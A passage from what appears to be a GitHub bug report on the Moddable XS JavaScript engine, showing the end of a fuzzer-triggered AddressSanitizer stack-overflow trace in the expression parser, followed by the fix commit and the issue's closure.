    #220 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #221 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #222 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #223 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #224 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #225 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #226 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #227 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #228 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #229 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #230 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #231 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #232 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #233 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #234 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #235 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #236 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #237 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #238 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #239 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #240 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #241 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #242 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #243 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #244 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #245 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #246 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #247 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #248 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #249 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #250 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877
    #251 0x6344f6 in fxExponentiationExpression /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSyntaxical.c:1877

SUMMARY: AddressSanitizer: stack-overflow ??:0 ??
==5984==ABORTING
mkellner pushed a commit that referenced this issue Mar 15, 2021
XS: #586 & #587
dbd3a5f
@phoddie phoddie added the fixed - please verify Issue has been fixed. Please verify and close. label Mar 15, 2021
@phoddie phoddie closed this as completed Mar 23, 2021
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